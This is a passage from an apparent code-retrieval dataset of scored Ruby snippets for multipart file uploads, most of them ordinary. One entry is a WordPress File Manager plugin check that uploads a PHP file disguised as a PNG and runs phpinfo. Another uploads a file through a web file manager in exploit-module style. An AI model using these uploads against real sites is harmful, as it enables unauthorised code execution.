"text": "def upload_multipart_form_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AttachmentControllerApi.upload_multipart_form ...'\n end\n # resource path\n local_var_path = '/attachments/multipart'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'contentType'] = opts[:'content_type'] if !opts[:'content_type'].nil?\n query_params[:'filename'] = opts[:'filename'] if !opts[:'filename'].nil?\n query_params[:'x-filename'] = opts[:'x_filename'] if !opts[:'x_filename'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'inline_object']) \n\n # return_type\n return_type = opts[:return_type] || 'Array<String>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AttachmentControllerApi#upload_multipart_form\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "90691e15712a90f40f90e57ad132fded",
"score": "0.62072194",
"text": "def wrapped_multipart_post_data data\n {}.tap do |wrapped|\n data.each_pair do |key, value|\n if value.respond_to?(:read)\n # We are going to assume it's always XML we're uploading.\n wrapped[key] = UploadIO.new(value, \"application/xml\", File.basename(value.path))\n else\n wrapped[key] = value\n end\n end\n end\n end",
"title": ""
},
{
"docid": "163cd9466b138f297270b807ec08389f",
"score": "0.61978084",
"text": "def multipart_request\n ::File.open(body_file_attrs[:local_path]) do |file|\n req = Net::HTTP::Post::Multipart.new(\n api_url,\n body_hash.merge(\n 'asset' => UploadIO.new(\n file,\n 'application/octet-stream',\n body_file_attrs[:name]\n )\n )\n )\n req['Authorization'] = \"Bearer #{access_token.token}\"\n # access_token.sign! req\n if RedboothRuby.configuration[:use_ssl]\n http = Net::HTTP.new(\n RedboothRuby.configuration[:api_base],\n Net::HTTP.https_default_port\n )\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.use_ssl = RedboothRuby.configuration[:use_ssl]\n else\n domain, port = RedboothRuby.configuration[:api_base].split(':')\n http = Net::HTTP.new(domain, port || Net::HTTP.http_default_port)\n end\n http.start do |inner_http|\n inner_http.request(req)\n end\n end\n end",
"title": ""
},
{
"docid": "28c6be62ef275833d3b3861fbf37981d",
"score": "0.619156",
"text": "def set_up_post_request(uri, data, headers, binary_key = nil)\n if !binary_key.nil?\n binary_data = data[binary_key]\n\n if binary_data.is_a?(StringIO)\n data[binary_key] = UploadIO.new(\n binary_data, \"text/plain\", \"local.path\"\n )\n else\n data[binary_key] = UploadIO.new(\n File.open(binary_data), \"text/plain\"\n )\n end\n\n req = Net::HTTP::Post::Multipart.new(uri.path, data)\n else\n req = Net::HTTP::Post.new(uri.path, headers)\n req.set_form_data(data)\n end\n req\n end",
"title": ""
},
{
"docid": "75548006a33006071dc1d609c35ced9b",
"score": "0.6151699",
"text": "def format(boundary,name,value=nil, war=nil)\n data = ''\n\n if war\n data << boundary\n data << \"\\r\\nContent-Disposition: form-data; name=\\\"form:sheet1:section1:prop1:fileupload\\\"; \"\n data << \"filename=\\\"#{name}.war\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\"\n data << war\n data << \"\\r\\n\"\n else\n data << boundary\n data << \"\\r\\nContent-Disposition: form-data; name=\\\"#{name}\\\"\"\n data << \"\\r\\n\\r\\n\"\n data << \"#{value}\\r\\n\"\n end\n\n return data\n end",
"title": ""
},
{
"docid": "36094fc8ccbdf08766d6cd2667ec401d",
"score": "0.614517",
"text": "def products_import_form_params\r\n params.permit(:file, :with_header)\r\n end",
"title": ""
},
{
"docid": "87c8d536e904b396d2d0192b8a23aa11",
"score": "0.6143889",
"text": "def file_body(path, boundary)\n [\n \"\\r\\n--#{boundary}\\r\\n\",\n \"content-disposition: form-data; name=\\\"file\\\"\",\n \"; filename=\\\"#{File.basename(path)}\\\"\\r\\n\",\n \"Content-Type: #{extract_mime_type(path)}\\r\\n\",\n \"Content-Transfer-Encoding: binary\\r\\n\",\n \"\\r\\n\",\n File.open(path, 'rb') { |io| io.read },\n \"\\r\\n--#{boundary}--\\r\\n\"\n ].join('')\n end",
"title": ""
},
{
"docid": "64abc3bd16e17efc684740d9745c4051",
"score": "0.6128339",
"text": "def multipart_body_begin\n end",
"title": ""
},
{
"docid": "863d3bb9f7fdf12294a764963a5ab38b",
"score": "0.6114458",
"text": "def create_body_for_enrollment(audio_file_path)\n { :form => { :file => HTTP::FormData::File.new(audio_file_path) } }\n end",
"title": ""
},
{
"docid": "e1e8bafb2a96fbaab8a469ca54e10d6f",
"score": "0.60671747",
"text": "def to_io\n io = Kronk::MultipartIO.new\n buff = \"\"\n\n parts.each do |(headers, value)|\n buff << \"--#{@boundary}\\r\\n\"\n buff << \"content-disposition: #{headers['content-disposition']}\\r\\n\"\n\n headers.each do |hname, hvalue|\n next if hname == 'content-disposition'\n hvalue = hvalue.to_s.inspect if hvalue.to_s.index \":\"\n buff << \"#{hname}: #{hvalue}\\r\\n\"\n end\n\n buff << \"\\r\\n\"\n\n if value.respond_to?(:read)\n io.add buff.dup\n io.add value\n buff.replace \"\"\n else\n buff << value.to_s\n end\n\n buff << \"\\r\\n\"\n end\n\n buff << \"--#{@boundary}--\"\n io.add buff\n\n io\n end",
"title": ""
},
{
"docid": "6e407c5ed7c53c392b87275bd465749a",
"score": "0.60658085",
"text": "def multipart_post!\n request = Net::HTTP::Post.new(uri)\n request.body = build_request_body\n\n response = get_response(request)\n GunBroker::Response.new(response)\n end",
"title": ""
},
{
"docid": "051f225ee642c0545b3e8c9671938e06",
"score": "0.604878",
"text": "def dcs_request(uri, data)\n boundary = Array::new(16) { \"%2.2d\" % rand(99) }.join()\n extheader = {\n \"content-type\" => \"multipart/form-data; boundary=___#{ boundary }___\"\n }\n\n client = HTTPClient.new\n response = client.post_content(uri, data, extheader)\nend",
"title": ""
},
{
"docid": "f59b5c6de57ac8bfe69e42977bcf3932",
"score": "0.604231",
"text": "def scan_part\n\t\theaders = self.scan_headers\n\t\tdisposition = headers['content-disposition']\n\n\t\traise UnimplementedError, \"don't know what to do with %p parts\" % [ disposition ] unless\n\t\t\tdisposition.start_with?( 'form-data' )\n\t\tkey = disposition[ /\\bname=\"(\\S+)\"/i, 1 ] or\n\t\t\traise Strelka::ParseError, \"no field name: %p\" % [ disposition ]\n\t\tval = nil\n\n\t\t# :TODO: Support for content-type and content-transfer-encoding headers for parts.\n\n\t\t# If it's a file, spool it out to a tempfile\n\t\tif disposition =~ /\\bfilename=/i\n\t\t\tfile = disposition[ /\\bfilename=\"(?:.*\\\\)?(.+?)\"/, 1 ] or return nil\n\t\t\tself.log.debug \"Parsing an uploaded file %p (%p)\" % [ key, file ]\n\t\t\tval = self.scan_file_field( file, headers )\n\n\t\t# otherwise just read it as a regular parameter\n\t\telse\n\t\t\tself.log.debug \"Parsing a form parameter (%p)\" % [ key ]\n\t\t\tval = self.scan_regular_field( key )\n\t\tend\n\n\t\t# Convert the value to an Array if there are more than one\n\t\tif @fields.key?( key )\n\t\t\t@fields[ key ] = [ @fields[key] ] unless @fields[ key ].is_a?( Array )\n\t\t\t@fields[ key ] << val\n\t\telse\n\t\t\t@fields[ key ] = val\n\t\tend\n\n\t\tself.strip_boundary\n\tend",
"title": ""
},
{
"docid": "e8101d0feb546ce68b1931c222287677",
"score": "0.60388976",
"text": "def _course_package_upload(path, file, method)\n # name = the content name,\n # e.g. \"Resource\", \"profileImage\", \"name\", \"description\", \"file\", \"targetUsers\"\n # file = the File's name in the directory.\n # method = POST or PUT\n # json = the json appended to the end of the request body\n # auth_uri = path\n auth_uri = create_authenticated_uri(path, method)\n uri = URI.parse(auth_uri)\n\n boundary = \"xxBOUNDARYxx\"\n header = { \"Content-Type\" => \"multipart/form-data; boundary=#{boundary}\" }\n # setup the post body\n post_body = []\n post_body << \"--#{boundary}\\n\"\n post_body << \"Content-Disposition: form-data; name = \\\"Resource\\\"; filename=\\\"#{File.basename(file)}\\\"\\r\\n\"\n post_body << \"Content-Type: #{MIME::Types.type_for(file)}\\r\\n\\r\\n\"\n post_body << File.read(file)\n post_body << \"\\r\\n\\r\\n--#{boundary}--\\r\\n\"\n\n # Create the HTTP objects\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri, header)\n request.body = post_body.join\n\n # Send the request\n response = http.request(request)\n JSON.parse(response)\nend",
"title": ""
},
{
"docid": "f2361fb8febc78f680cef806e90ee141",
"score": "0.60291505",
"text": "def get_multipart_upload(request)\n if request.params.key?(\"file\")\n value = request.params[\"file\"]\n elsif request.params[\"files\"].is_a?(Array)\n error!(400, \"Too Many Files\") if request.params[\"files\"].count > 1\n value = request.params[\"files\"].first\n end\n\n error!(400, \"Upload Not Found\") if value.nil?\n\n if value.is_a?(Hash) && value[:tempfile]\n @shrine_class.rack_file(value)\n elsif %i[read rewind eof? close].all? { |m| value.respond_to?(m) }\n value\n else\n error!(400, \"Upload Not Valid\")\n end\n end",
"title": ""
},
{
"docid": "8aeb1e7c1db8ddf9fb141226217804e8",
"score": "0.60108536",
"text": "def upload(base, file, cookies)\n data = Rex::MIME::Message.new\n data.add_part(file, 'application/octet-stream', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{@fname}\\\"\")\n data.add_part(\"Go\", nil, nil, 'form-data; name=\"go\"')\n data.add_part(\"images\", nil, nil, 'form-data; name=\"directory\"')\n data.add_part(\"1\", nil, nil, 'form-data; name=\"upload_file\"')\n data_post = data.to_s\n data_post = data_post.gsub(/^\\r\\n\\-\\-\\_Part\\_/, '--_Part_')\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(base, 'index.php'),\n 'cookie' => cookies,\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'vars_get' => {\n 'sec' => 'gsetup',\n 'sec2' => 'godmode/setup/file_manager',\n },\n 'data' => data_post\n })\n\n register_files_for_cleanup(@fname)\n return res\n end",
"title": ""
},
{
"docid": "1198c5600fb79dac93341657a3806ea2",
"score": "0.6009468",
"text": "def get_file_header(file_name, boundary)\n head = \"--#{boundary}\" + CRLF\n head += \"Content-Disposition: form-data; name=\\\"new_files[]\\\"; filename=\\\"#{file_name}\\\"\" + CRLF\n head += \"Content-Type: application/x-ruby\" + CRLF + CRLF\n return head\n end",
"title": ""
},
{
"docid": "e818d359137b0e26a137de49922c2897",
"score": "0.5999739",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when File, Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "e818d359137b0e26a137de49922c2897",
"score": "0.5999739",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when File, Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "e818d359137b0e26a137de49922c2897",
"score": "0.5999739",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when File, Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "e818d359137b0e26a137de49922c2897",
"score": "0.5999739",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when File, Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "34cc0d3ff23f2775e016b8c0f7f675f8",
"score": "0.59988534",
"text": "def multipart_flag\n true\n end",
"title": ""
},
{
"docid": "87d027f3fab89e26618c187a921e9f64",
"score": "0.5996035",
"text": "def upload_params\n {\n extension: params.require(:extension),\n tarball: params.require(:tarball)\n }\n end",
"title": ""
},
{
"docid": "1989fb17c6175f85ed9eb585a62630ed",
"score": "0.5973098",
"text": "def build_multipart(params, _first = true, multipart = false)\n raise ArgumentError, 'value must be a Hash' unless params.is_a?(Hash)\n\n unless multipart\n query = lambda { |value|\n case value\n when Array\n value.each(&query)\n when Hash\n value.values.each(&query)\n when UploadedFile\n multipart = true\n end\n }\n params.values.each(&query)\n return nil unless multipart\n end\n\n params = normalize_multipart_params(params, true)\n\n buffer = String.new\n build_parts(buffer, params)\n buffer\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "8b3883f782c1948547afb3b279c25b36",
"score": "0.5972683",
"text": "def build_request_body(header_params, form_params, body)\n # http form\n if header_params['Content-Type'] == 'application/x-www-form-urlencoded' ||\n header_params['Content-Type'] == 'multipart/form-data'\n data = {}\n form_params.each do |key, value|\n case value\n when ::File, ::Array, nil\n # let typhoeus handle File, Array and nil parameters\n data[key] = value\n else\n data[key] = value.to_s\n end\n end\n elsif body\n data = body.is_a?(String) ? body : body.to_json\n else\n data = nil\n end\n data\n end",
"title": ""
},
{
"docid": "e59da6da39670673c3c07abea8356282",
"score": "0.59668195",
"text": "def run\n super\n\n #require_enrichment\n\n uri = _get_entity_name\n\n # request 1\n endpoint = \"#{uri}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php\"\n\n headers = {\n \"User-Agent\" => \"curl/7.68.0\",\n \"Accept\" => \"*/*\",\n \"Content-Type\" => \"multipart/form-data; boundary=------------------------66e3ca93281c7050\",\n \"Expect\" => \"100-continue\",\n \"Connection\" => \"close\"\n }\n\n payload = \"--------------------------66e3ca93281c7050\\r\\nContent-Disposition: form-data; name=\\\"cmd\\\"\\r\\n\\r\\nupload\\r\\n--------------------------66e3ca93281c7050\\r\\nContent-Disposition: form-data; name=\\\"target\\\"\\r\\n\\r\\nl1_Lw\\r\\n--------------------------66e3ca93281c7050\\r\\nContent-Disposition: form-data; name=\\\"upload[]\\\"; filename=\\\"x.php\\\"\\r\\nContent-Type: image/png\\r\\n\\r\\n\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x01^\\x00\\x00\\x01^\\x04\\x03\\x00\\x00\\x00?\\x05j)\\x00\\x00\\x00\\x1ePLTE\\xff\\xff\\xff\\xef\\xef\\xef\\xe5\\xe5\\xe5\\xce\\xce\\xce\\xa1\\xa1\\xa1iiiVVVGGG333\\x00\\x00\\x00g\\x00\\xcc\\xe2\\x00\\x00\\r\\xc0IDATx\\xda\\xed]K[\\xdb\\xc8\\x12m\\xc9\\xce^\\xc6\\x90\\xbb58\\t\\xdc\\x9dm\\x9c\\t\\xd9\\xd9X\\x1e\\xc2\\x8e\\x87I\\xc22\\t!\\x93\\xe5@xmc\\x02\\xf1\\xda\\x0f\\xa9\\xff\\xed]`\\xeb\\xddVU\\xc9C\\xb5\\xe6\\xa2-\\xd4\\xa7\\xf2Q\\xe9\\xa8\\x1fuN\\x8b\\xdf\\xb9\\xba\\xee\\x84\\xbc\\\"^\\xd7\\x83\\xc7\\x8f\\xbc\\x9a\\x08\\xa7\\xb1F\\xbb\\xaa\\x97\\xf4\\xc8:5\\xf2^L,A\\xbb\\x8cSr\\xe4\\x055\\xd2\\xbc\\x17\\x0eC\\xbe\\xe4H\\xf3NL*\\x8f\\x8f\\xd2i\\xbe\\xf05Y\\xf05\\xffM\\xf5[*\\x95J\\xb9\\xc1\\xb7\\xdc\\xb4\\x8f\\xde\\x9f\\x1e\\xf5\\xec\\x86\\x95\\x83\\xfa\\xadv\\xff\\x92\\xd3\\xcb\\xfd\\xba]\\xd1\\x86\\x1f\\x92Q2\\xeck\\x19\\xb8\\xdc\\x93FB\\xa4>\\xf5[\\xde\\x91\\x91k\\xd2\\xd1\\x18\\xdf\\xeaG\\x19\\xbb\\xdcCK\\xd7\\xfa-\\x97\\x12\\x90\\xb0.\\xfcP>\\x9629a-\\xf9\\xd7\\xdc\\x95\\x8a\\xcb\\xdd\\xd6\\x11\\xdf\\x1d\\xa9\\xbc&5\\xfd\\xea\\xf7\\xe5@\\x9d\\xaf\\xbc\\xad\\xe8\\xc6\\x0f\\x85c9\\xef:\\xd0\\x8c\\x8d\\x9d\\xb9\\xe9J\\xa7\\xa6\\x17\\xbe\\xcb\\x83\\xf9\\xf9\\xca[\\xad\\xea\\xd7\\xd8MIW\\xba-\\x9d\\xf8\\xe1\\x85L\\xbdn-}\\xf87\\x1d^)eK\\x1f|\\x97\\x01\\xe9\\xfa\\x15\\xcc_\\xbf\\x10x\\xa5[\\xd3\\x85\\x1f\\n\\x03H\\xbe\\xf2\\\\\\x17\\xfe}\\x03JW\\x8e+z\\xe0k\\x1c\\xc3\\xf2\\x95m=\\xea\\xb7\\x08LW\\x8e\\xf4\\xe0\\x87-h\\xbe\\xd3{1\\xf3\\xaf\\t-\\x07)\\xf7t\\xc0\\x17\\\\\\x0eR\\xf6u\\xa8\\xdfux\\xbe\\x0f\\x8b\\xb7\\xbc\\xfc\\x00\\xfa\\x16\\x87\\xbe\\xc9\\xbc\\xfc\\x0b\\xfcX<\\\\\\x9f\\xf8\\xf1E\\x94\\xef\\x94\\xd1x\\xeb\\xf7\\r&\\xdf\\xb1\\xc5\\xce\\x0f\\x98\\xf2\\x95\\xb2\\xc6\\xcd\\xbf\\xc6wT\\xbe\\xfb\\xdc\\xf8\\x16P\\xe9\\xca\\x9f\\xdc\\xf5\\xbb\\x8c\\xcbw\\xc4\\xcd\\x0f\\x1b\\xb8|\\xc7\\x163\\xff\\xbe\\xc5\\xe5\\xeb\\xd6x\\xf15p\\xf4 e\\x8b\\xb7~\\x91\\xf4 e\\x9b\\x97\\x1f\\xcc\\x012\\xdf\\xbfy\\xf9\\x17IgR\\xf6y\\xf1]\\xc6\\xe6;\\xe4\\xad\\xdfg\\xd8|G\\x16+?\\xac`\\xf3\\x1d\\xf3\\xf2\\xef::_^|\\xb7\\xb0\\xf9:\\x16k\\xfd\\xbe\\xc5\\xe6\\xebV\\xb2\\xf0Yf|\\xf1\\xf9\\xd6X\\xf1\\xc5~\\x8e\\xa5\\xcc\\x19\\xbe2o\\xf8\\xd6\\x84q\\xc9\\x87/%_\\xf3k\\x8e\\xf8![=<>\\xbe\\xcc\\xfc@\\xe13\\xce\\xef\\x1b\\xe5{\\xc1\\x89\\xef\\x066\\xdf\\t/\\xffR\\xc6;\\x9c\\xf8\\xaeP\\xc6\\xbf\\x8c\\xf8\\xe2\\xc7\\xeb\\xbc\\xf3\\x8b\\\"z>\\xc4\\x8b\\xef#\\xcf73\\xe3\\x8b\\x9e\\xcf\\x12\\xac\\xf8\\x1a\\xc7\\xc8|\\x99\\xd7w\\x04a=\\x8a\\x13_\\xf4z_\\x85\\x19\\xdfW\\xf8\\xf5T\\xce\\xf1/e\\xbd\\x9as\\xfc\\x8b%\\xb43\\xc1\\x8c/\\x92 \\xf6\\xd8\\xf7\\xe7\\xf1\\xfbY\\xbc\\xfbo\\xaf\\xb0\\xaf\\x1b\\xf3\\xfe&j\\x041\\x14\\xec\\xfb\\xc7\\xe6\\r\\\"\\xdf\\x03\\xc1\\xdf\\x1f\\xb5\\x8b,_\\xee\\xfe(D\\x01?tt1\\xf7\\x97<f?\\xccB\\xfa\\xa3\\x8e1\\x83\\x1d\\r\\xfaS\\xd7\\x11sc\\x1d\\xf0-\\xe2\\xca\\x81\\xbd\\xbf\\x0f\\xbc'\\xdb\\x8eF\\xf2\\xe0+\\xfe\\xc0\\xf5{\\xb2\\xf7\\xa7\\x16`\\x9f\\x8c\\xcfB\\x13|\\xc5;\\xd0\\xcePM\\xe8Q\\xbfB\\x14\\x07\\xf0\\xb7M\\x0b}\\x00\\xe0\\x8ds\\xeb\\xde/\\xe5\\xd7\\xb7,\\xa7\\x03|+4\\xc2\\xd7H\\xad`\\xb7\\xb6\\x88|\\x17\\xa6\\x1fJ\\xad\\xe0sK\\x11\\xc9\\x82o*\\x07\\x8f\\x03z'-\\xf4\\xb1)z\\xb2mu$\\x0f\\xbe\\xf3_\\xb9\\x1f\\xd6\\x9cH\\x16|\\x85x\\x9d\\xfe%\\xd6\\x86\\x1f\\x84\\x10\\xc2Tr\\xc4\\xa4\\x1d\\xfe\\xa5\\x9a\\xe8\\xbb\\x0b\\xef@\\xf2X}\\xfc\\t\\xca\\x1f\\x93\\xd3]\\x9c^z\\xc1\\xfa\\xf9$\\x84\\x9d\\x8e\\x05\\x88d\\xc1W\\x88\\xa5n\\x94%~m\\xc7#5\\xf2\\xd70\\x9a\\xa1\\x9apz\\x15h$\\x0b\\xbeB\\x88B\\xf3\\xc3\\x0c\\xe3\\xbb^\\x03\\x13\\xc9\\x81\\xaf\\x10B\\x946\\xedn\\xf7\\xa8kw\\xd6p\\xbf\\x94\\x07\\xdfi\\xceB\\xfd\\xd7\\xbc\\xf9\\x1b\\xe5\\xcd'o\\xfeFF\\xde\\xf0\\xfd\\xf2\\xe7rVK\\xb4k\\xe9\\xb4B\\x8d\\xbc\\xa4\\xde\\xb3p/\\xdc\\xafG\\xb4\\xeb\\xfd\\xe0\\xe8\\xf1#'B\\xdeS\\xbd\\xf4\\xe45\\xd5\\xbf\\xcf\\xa5\\xde\\xf3\\xda\\x11\\x0e\\xd9K\\xef\\x94\\x1c\\xf9m\\x8d\\x1ay\\x97\\xb3\\xf7\\xed>\\x83\\x1f\\xde\\xd3\\xf7\\xed\\xe9\\xfb\\xf6\\xf4}\\x8b\\xfcimssss\\xcd\\xcaE\\xfd\\x1ae\\xfb\\xfd\\xf5@J\\xf7\\xfe\\xc8n\\xe8?\\xfe-\\x07\\xad\\xf4\\xeez\\xab\\xda\\xe0\\x9b<\\xbfhF\\x16/~u,\\x8d\\xf15^\\x0f\\xe26o\\x15m\\xeb\\xd7\\xf83ie(\\xb6\\x18\\xa0\\x0b?$\\xa7+e\\xcf\\xd2\\x92\\r\\xe5Rl\\xc4\\xaaP\\x13|\\xd5\\xd6t\\xee\\xbe\\x86\\xf5[\\x9c\\xb3\\x9d\\xeb\\xd4\\xb5\\xe3\\x07s\\xeef\\xe3\\xa8\\xa2\\x1b\\xff\\xbe\\x9e\\xbf\\xb3t\\xa8\\x19\\xbei\\x9b\\xfbA/H\\x1d\\xea\\xf7\\x1d|#W\\x07~H\\xdf\\xda\\x0f:\\xff\\xf1\\xf3/\\xa0u\\xe2V#|!\\x9d\\x13>\\xc0\\xfc\\xf5\\xfbN\\xa2:=\\xb8\\xf9\\x01\\xd6\\xf9\\xe3\\xf5\\\"\\xb0\\xf3/\\xb0\\xf7\\xf2\\xb3&\\xf8B\\x9b\\xc9\\xc7\\x96\\x1e\\xf5\\x0b\\xee\\x0cl\\xe9<?php phpinfo(); ?>\\r\\n--------------------------66e3ca93281c7050--\\r\\n\"\n\n # http_request(method, uri_string, credentials=nil, headers={}, data=nil, attempts_limit=3, write_timeout=15, read_timeout=15, connect_timeout=15)\n http_request :post, endpoint, nil, headers, payload\n\n # request 2\n endpoint = \"#{uri}/wp-content/plugins/wp-file-manager/lib/files/x.php\"\n headers = {\n \"User-Agent\" => \"curl/7.68.0\",\n \"Accept\" => \"*/*\",\n \"Expect\" => \"100-continue\",\n \"Connection\" => \"close\"}\n res = http_request :get, endpoint, nil, headers\n\n if res.body_utf8 =~ /SERVER_NAME/\n _log \"Vulnerable!\"\n _create_linked_issue(\"wordpress_file_manager_command_injection_rce\", {\n proof: {\n response: res.body_utf8\n }\n })\n else\n _log \"Not Vulnerable!\"\n end\n end",
"title": ""
},
{
"docid": "8d9b6e2deb7c58492ddfcee414328cda",
"score": "0.5962476",
"text": "def construct_post_data(filepath, update, content_type_or_uuid)\n # TODO: remove special characters in the filename; they create firewall errors\n # filename = filename.gsub(/\\W/,'_').gsub(/___/,'_').gsub(/__/,'_').chomp('_').strip\n\n file_b64 = Base64.encode64(File.binread(filepath))\n\n data = {}\n data['file'] = {\n 'file' => file_b64,\n 'filesize' => File.size(filepath).to_s,\n 'filename' => File.basename(filepath)\n }\n\n data['node'] = {}\n\n # Only include the content type if this is an update\n if update\n data['node']['uuid'] = content_type_or_uuid\n else\n data['node']['type'] = content_type_or_uuid\n end\n\n # TODO: remove this field_component_tags once BCL is fixed\n data['node']['field_component_tags'] = { 'und' => '1289' }\n data['node']['og_group_ref'] = { 'und' => ['target_id' => @group_id] }\n\n # NOTE THIS ONLY WORKS IF YOU ARE A BCL SITE ADMIN\n data['node']['publish'] = '1'\n\n data\n end",
"title": ""
},
{
"docid": "7bff8259cdaac073e67fa9fcbaaf5f73",
"score": "0.5953528",
